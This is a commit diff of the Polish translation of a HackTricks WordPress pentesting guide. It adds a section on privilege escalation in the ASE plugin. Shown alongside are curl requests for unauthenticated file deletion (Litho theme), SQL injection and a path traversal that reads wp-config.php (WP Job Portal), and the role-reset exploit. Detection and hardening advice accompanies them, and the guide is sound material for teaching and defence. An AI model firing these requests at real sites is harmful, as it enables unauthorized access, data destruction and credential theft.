mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
7a59d9299d
commit
31bba4f233
@ -22,27 +22,27 @@
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` to plik, który reprezentuje funkcję WordPressa, która umożliwia przesyłanie danych za pomocą HTTP jako mechanizmu transportowego i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez [REST API](https://developer.wordpress.org/rest-api/reference) WordPressa.
|
||||
- `xmlrpc.php` to plik, który reprezentuje funkcję WordPressa, która umożliwia przesyłanie danych z HTTP jako mechanizmu transportowego i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Folder `wp-content` to główny katalog, w którym przechowywane są wtyczki i motywy.
|
||||
- `wp-content/uploads/` to katalog, w którym przechowywane są wszelkie pliki przesłane na platformę.
|
||||
- `wp-includes/` To katalog, w którym przechowywane są pliki rdzeniowe, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.
|
||||
- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytującymi typami postów i taksonomiami.
|
||||
- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytanymi typami postów i taksonomiami.
|
||||
|
||||
**Post eksploatacja**
|
||||
**Post exploitation**
|
||||
|
||||
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniające i sól oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może być również używany do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów.
|
||||
|
||||
### Uprawnienia użytkowników
|
||||
|
||||
- **Administrator**
|
||||
- **Redaktor**: Publikuje i zarządza swoimi i innymi postami
|
||||
- **Redaktor**: Publikuje i zarządza swoimi oraz innymi postami
|
||||
- **Autor**: Publikuje i zarządza swoimi postami
|
||||
- **Współautor**: Pisze i zarządza swoimi postami, ale nie może ich publikować
|
||||
- **Subskrybent**: Przegląda posty i edytuje swój profil
|
||||
|
||||
## **Pasywna enumeracja**
|
||||
|
||||
### **Uzyskaj wersję WordPressa**
|
||||
### **Sprawdź wersję WordPressa**
|
||||
|
||||
Sprawdź, czy możesz znaleźć pliki `/license.txt` lub `/readme.html`
|
||||
|
||||
@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Wtyczki i motywy
|
||||
|
||||
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i Motywów. Aby je wszystkie odkryć, będziesz musiał **aktywnie przeprowadzić Brute Force listy Wtyczek i Motywów** (na szczęście są dostępne zautomatyzowane narzędzia, które zawierają te listy).
|
||||
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i Motywów. Aby je wszystkie odkryć, będziesz musiał **aktywnie przeprowadzić Brute Force listy Wtyczek i Motywów** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają te listy).
|
||||
|
||||
### Użytkownicy
|
||||
|
||||
@ -89,7 +89,7 @@ Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Jeśli odpowiedzi są **200** lub **30X**, oznacza to, że id jest **ważne**. Jeśli odpowiedź to **400**, to id jest **nieważne**.
|
||||
Jeśli odpowiedzi to **200** lub **30X**, oznacza to, że id jest **ważne**. Jeśli odpowiedź to **400**, to id jest **nieważne**.
|
||||
|
||||
- **wp-json:** Możesz także spróbować uzyskać informacje o użytkownikach, wykonując zapytanie:
|
||||
```bash
|
||||
@ -107,7 +107,7 @@ Zauważ również, że **/wp-json/wp/v2/pages** może ujawniać adresy IP.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Jeśli `xml-rpc.php` jest aktywne, możesz przeprowadzić atak brute-force na dane logowania lub użyć go do przeprowadzania ataków DoS na inne zasoby. (Możesz zautomatyzować ten proces[ używając tego](https://github.com/relarizky/wpxploit) na przykład).
|
||||
Jeśli `xml-rpc.php` jest aktywne, możesz przeprowadzić atak brute-force na dane logowania lub użyć go do uruchomienia ataków DoS na inne zasoby. (Możesz zautomatyzować ten proces[ używając tego](https://github.com/relarizky/wpxploit) na przykład).
|
||||
|
||||
Aby sprawdzić, czy jest aktywne, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie:
|
||||
|
||||
@ -304,7 +304,7 @@ Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana jako p
|
||||
3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczka musi być aktywowana przez pulpit.
|
||||
4. **Eksploatacja**:
|
||||
- Z wtyczką "reflex-gallery" zainstalowaną i aktywowaną, można ją wykorzystać, ponieważ jest znana jako podatna.
|
||||
- Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, uzyskując nieautoryzowany dostęp do witryny.
|
||||
- Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, co daje nieautoryzowany dostęp do witryny.
|
||||
- Zauważono, że to tylko jedna z wielu metod eksploatacji witryny WordPress.
|
||||
|
||||
Zawartość obejmuje wizualne pomoce ilustrujące kroki w pulpicie WordPressa dotyczące instalacji i aktywacji wtyczki. Ważne jest jednak, aby zauważyć, że eksploatacja podatności w ten sposób jest nielegalna i nieetyczna bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak testy penetracyjne z wyraźnym pozwoleniem.
|
||||
@ -332,13 +332,13 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
|
||||
### Attack Surface
|
||||
### Powierzchnia ataku
|
||||
|
||||
Znajomość tego, jak wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa, aby znaleźć luki w jej funkcjonalności. Możesz znaleźć, jak wtyczka może ujawniać funkcjonalność w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**tym wpisie na blogu**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje, jest za pośrednictwem handlerów AJAX. Mogą one zawierać błędy logiczne, autoryzacyjne lub uwierzytelniające. Co więcej, często zdarza się, że te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli).
|
||||
Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje, jest za pomocą handlerów AJAX. Mogą one zawierać błędy logiczne, autoryzacyjne lub uwierzytelniające. Co więcej, często te funkcje będą opierać zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli).
|
||||
|
||||
To są funkcje, które mogą być używane do ujawniania funkcji w wtyczce:
|
||||
```php
|
||||
@ -364,19 +364,19 @@ $this->namespace, '/get/', array(
|
||||
```
|
||||
`permission_callback` to funkcja zwrotna, która sprawdza, czy dany użytkownik ma uprawnienia do wywołania metody API.
|
||||
|
||||
**Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.**
|
||||
**Jeśli użyta zostanie wbudowana funkcja `__return_true`, po prostu pominie sprawdzanie uprawnień użytkownika.**
|
||||
|
||||
- **Bezpośredni dostęp do pliku php**
|
||||
|
||||
Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to wykorzystywalne przez każdego użytkownika.
|
||||
Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to podatne na wykorzystanie przez każdego użytkownika.
|
||||
|
||||
### Nieautoryzowane usuwanie dowolnych plików za pomocą wp_ajax_nopriv (Motyw Litho <= 3.0)
|
||||
|
||||
Motywy i wtyczki WordPressa często ujawniają obsługiwacze AJAX za pomocą haków `wp_ajax_` i `wp_ajax_nopriv_`. Gdy używana jest wariant **_nopriv_**, **funkcja zwrotna staje się dostępna dla nieautoryzowanych odwiedzających**, więc każda wrażliwa akcja musi dodatkowo implementować:
|
||||
Motywy i wtyczki WordPressa często ujawniają obsługiwacze AJAX za pośrednictwem haków `wp_ajax_` i `wp_ajax_nopriv_`. Gdy używana jest wersja **_nopriv_**, **funkcja zwrotna staje się dostępna dla nieautoryzowanych odwiedzających**, więc każda wrażliwa akcja musi dodatkowo implementować:
|
||||
|
||||
1. Sprawdzenie **uprawnień** (np. `current_user_can()` lub przynajmniej `is_user_logged_in()`), oraz
|
||||
1. **sprawdzenie uprawnień** (np. `current_user_can()` lub przynajmniej `is_user_logged_in()`), oraz
|
||||
2. **CSRF nonce** weryfikowane za pomocą `check_ajax_referer()` / `wp_verify_nonce()`, oraz
|
||||
3. **Ścisłą sanitację / walidację danych wejściowych**.
|
||||
3. **Ścisłą sanitację / walidację wejścia**.
|
||||
|
||||
Motyw wielofunkcyjny Litho (< 3.1) zapomniał o tych 3 kontrolach w funkcji *Usuń rodzinę czcionek* i ostatecznie dostarczył następujący kod (uproszczony):
|
||||
```php
|
||||
@ -405,7 +405,7 @@ Problemy wprowadzone przez ten fragment:
|
||||
|
||||
#### Wykorzystanie
|
||||
|
||||
Napastnik może usunąć dowolny plik lub katalog **poniżej podstawowego katalogu przesyłania** (zwykle `<wp-root>/wp-content/uploads/`) wysyłając pojedyncze żądanie HTTP POST:
|
||||
Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu głównego przesyłania** (zwykle `<wp-root>/wp-content/uploads/`) wysyłając pojedyncze żądanie HTTP POST:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
@ -418,7 +418,7 @@ Inne istotne cele to pliki `.php` wtyczek/motywów (aby złamać wtyczki zabezpi
|
||||
#### Lista kontrolna wykrywania
|
||||
|
||||
* Każdy `add_action( 'wp_ajax_nopriv_...')` callback, który wywołuje pomocniki systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
|
||||
* Konkatenacja niesanitizowanego wejścia użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Konkatenacja niesanitowanych danych wejściowych użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Wzmacnianie
|
||||
@ -446,6 +446,70 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
|
||||
---
|
||||
|
||||
### Eskalacja uprawnień poprzez przywracanie przestarzałych ról i brak autoryzacji (ASE "Wyświetl administratora jako rolę")
|
||||
|
||||
Wiele wtyczek implementuje funkcję "wyświetl jako rola" lub tymczasowego przełączania ról, zapisując oryginalną rolę(-y) w meta użytkownika, aby mogły być przywrócone później. Jeśli ścieżka przywracania polega tylko na parametrach żądania (np. `$_REQUEST['reset-for']`) oraz liście zarządzanej przez wtyczkę bez sprawdzania uprawnień i ważnego nonce, prowadzi to do pionowej eskalacji uprawnień.
|
||||
|
||||
Przykład z rzeczywistego świata znaleziono w wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie `reset-for=<username>`, jeśli nazwa użytkownika pojawiła się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie przeprowadzała ani sprawdzenia `current_user_can()`, ani weryfikacji nonce przed usunięciem bieżących ról i ponownym dodaniem zapisanych ról z meta użytkownika `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
|
||||
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
|
||||
|
||||
if ( in_array( $reset_for_username, $usernames, true ) ) {
|
||||
$u = get_user_by( 'login', $reset_for_username );
|
||||
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
|
||||
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
|
||||
foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
Dlaczego jest to podatne na atak
|
||||
|
||||
- Ufa `$_REQUEST['reset-for']` i opcji wtyczki bez autoryzacji po stronie serwera.
|
||||
- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został obniżony, może je przywrócić, klikając ścieżkę resetowania.
|
||||
- W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógłby wywołać reset dla innej nazwy użytkownika, która nadal jest obecna w `viewing_admin_as_role_are` (uszkodzona autoryzacja).
|
||||
|
||||
Wymagania wstępne ataku
|
||||
|
||||
- Wersja wtyczki z podatnością z włączoną funkcją.
|
||||
- Docelowe konto ma przestarzałą rolę o wysokich uprawnieniach zapisaną w metadanych użytkownika z wcześniejszego użycia.
|
||||
- Jakakolwiek uwierzytelniona sesja; brak nonce/zdolności w procesie resetowania.
|
||||
|
||||
Eksploatacja (przykład)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Na podatnych wersjach to usuwa bieżące role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia.
|
||||
|
||||
Lista kontrolna wykrywania
|
||||
|
||||
- Szukaj funkcji przełączania ról, które utrzymują „oryginalne role” w meta użytkownika (np. `_asenha_view_admin_as_original_roles`).
|
||||
- Zidentyfikuj ścieżki resetowania/przywracania, które:
|
||||
- Odczytują nazwy użytkowników z `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autoryzują na podstawie tablicy opcji wtyczki (np. `viewing_admin_as_role_are`) zamiast możliwości aktora.
|
||||
|
||||
Wzmacnianie
|
||||
|
||||
- Wymuszaj kontrole uprawnień na każdej gałęzi zmieniającej stan (np. `current_user_can('manage_options')` lub surowsze).
|
||||
- Wymagaj nonce dla wszystkich mutacji ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Nigdy nie ufaj nazwom użytkowników dostarczonym w żądaniu; rozwiązuj docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego aktora i wyraźnej polityki.
|
||||
- Unieważnij stan „oryginalnych ról” przy aktualizacjach profilu/roli, aby uniknąć przestarzałego przywracania wysokich uprawnień:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Rozważ przechowywanie minimalnego stanu i używanie tokenów z ograniczonym czasem ważności oraz zabezpieczonych uprawnień do tymczasowych przełączeń ról.
|
||||
|
||||
---
|
||||
|
||||
## Ochrona WordPressa
|
||||
|
||||
### Regularne aktualizacje
|
||||
@ -472,7 +536,8 @@ Również, **instaluj tylko zaufane wtyczki i motywy WordPress**.
|
||||
- **Ogranicz próby logowania**, aby zapobiec atakom Brute Force
|
||||
- Zmień nazwę pliku **`wp-admin.php`** i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP.
|
||||
|
||||
### Nieautoryzowany SQL Injection przez niewystarczającą walidację (WP Job Portal <= 2.3.2)
|
||||
|
||||
### Nieautoryzowana injekcja SQL przez niewystarczającą walidację (WP Job Portal <= 2.3.2)
|
||||
|
||||
Wtyczka rekrutacyjna WP Job Portal ujawniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod wewnątrz `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
@ -487,12 +552,12 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
Problemy wprowadzone przez ten fragment:
|
||||
|
||||
1. **Niesanitizowane dane wejściowe użytkownika** – `parentid` pochodzi bezpośrednio z żądania HTTP.
|
||||
2. **Konkatenacja łańcuchów w klauzuli WHERE** – brak `is_numeric()` / `esc_sql()` / przygotowanej instrukcji.
|
||||
2. **Konkatenacja ciągów w klauzuli WHERE** – brak `is_numeric()` / `esc_sql()` / przygotowanej instrukcji.
|
||||
3. **Nieautoryzowana dostępność** – chociaż akcja jest wykonywana przez `admin-post.php`, jedynym sprawdzeniem jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać z publicznej strony osadzającej shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Wykorzystanie
|
||||
|
||||
1. Zdobądź świeży nonce:
|
||||
1. Pobierz świeży nonce:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
@ -507,9 +572,9 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub zmienia bazę danych, co dowodzi SQLi.
|
||||
|
||||
|
||||
### Nieautoryzowane pobieranie dowolnych plików / Przechodzenie przez ścieżki (WP Job Portal <= 2.3.2)
|
||||
### Nieautoryzowane pobieranie dowolnych plików / Przechodzenie ścieżek (WP Job Portal <= 2.3.2)
|
||||
|
||||
Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym pobierać **dowolny plik na dysku** poprzez przechodzenie przez ścieżki. Wrażliwy punkt znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym na pobranie **dowolnego pliku na dysku** poprzez przechodzenie ścieżek. Wrażliwy punkt znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
@ -532,5 +597,7 @@ Serwer odpowiada zawartością `wp-config.php`, ujawniając dane uwierzytelniaj
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user